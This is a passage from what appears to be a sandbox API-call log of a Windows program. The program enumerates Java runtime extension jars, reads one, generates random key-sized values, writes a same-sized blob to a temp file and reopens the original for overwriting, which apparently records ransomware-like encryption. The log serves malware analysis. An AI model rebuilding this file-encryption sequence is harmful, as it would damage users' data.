[103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.659] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.660] CloseHandle (hObject=0x1ac) returned 1
	[0245.660] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.667] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.670] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.670] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.670] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.680] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.680] CloseHandle (hObject=0x1ac) returned 1
	[0245.680] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.682] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.691] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0245.691] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070bff638, ulCount=0x10, ulNumEntriesRemoved=0x7070bff610, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070bff638, ulNumEntriesRemoved=0x7070bff610) returned 0
	[0245.691] SetEvent (hEvent=0x188) returned 1
	[0245.882] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0245.992] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0246.111] SetEvent (hEvent=0x1a0) returned 1
	[0246.112] SetEvent (hEvent=0x190) returned 1
	[0246.112] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0246.112] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f744, lpOverlapped=0x0) returned 0
	[0246.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9790 | out: lpFileInformation=0xc0000c9790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0246.113] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0xc0000c9548 | out: lpFindFileData=0xc0000c9548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0246.154] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1
	[0246.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1
	[0246.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000c9578 | out: lpFindFileData=0xc0000c9578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0246.156] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0246.158] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000c9744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9744, lpOverlapped=0x0) returned 0
	[0246.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78)) returned 1
	[0246.161] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0246.161] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0246.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816)) returned 1
	[0246.161] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0246.162] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0246.162] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0246.162] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0246.162] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0246.162] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c5bf4 | out: lpMode=0xc0000c5bf4) returned 0
	[0246.162] GetFileType (hFile=0x1a8) returned 0x1
	[0246.162] GetFileType (hFile=0x1a8) returned 0x1
	[0246.162] GetFileInformationByHandle (in: hFile=0x1a8, lpFileInformation=0xc0000c5c44 | out: lpFileInformation=0xc0000c5c44) returned 1
	[0246.163] GetFileInformationByHandleEx (in: hFile=0x1a8, FileInformationClass=0x9, lpFileInformation=0xc0000c5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c5c28) returned 1
	[0246.163] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000148000, nNumberOfBytesToRead=0x2e078, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000148000*, lpNumberOfBytesRead=0xc0000c5b04*=0x2de78, lpOverlapped=0x0) returned 1
	[0247.325] SetEvent (hEvent=0x124) returned 1
	[0247.325] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000175e78, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000175e78*, lpNumberOfBytesRead=0xc0000c5b04*=0x0, lpOverlapped=0x0) returned 1
	[0247.325] CloseHandle (hObject=0x1a8) returned 1
	[0247.325] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092120 | out: pbBuffer=0xc000092120) returned 1
	[0247.326] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a230 | out: pbBuffer=0xc00021a230) returned 1
	[0247.326] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8101 | out: pbBuffer=0xc0002a8101) returned 1
	[0247.326] VirtualAlloc (lpAddress=0xc00018c000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018c000
	[0247.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0248.194] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5c04 | out: lpMode=0xc0000c5c04) returned 0
	[0248.194] GetFileType (hFile=0x1ac) returned 0x1
	[0248.194] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00018c000*, nNumberOfBytesToWrite=0x2df78, lpNumberOfBytesWritten=0xc0000c5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00018c000*, lpNumberOfBytesWritten=0xc0000c5bec*=0x2df78, lpOverlapped=0x0) returned 1
	[0248.245] CloseHandle (hObject=0x1ac) returned 1
	[0248.252] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
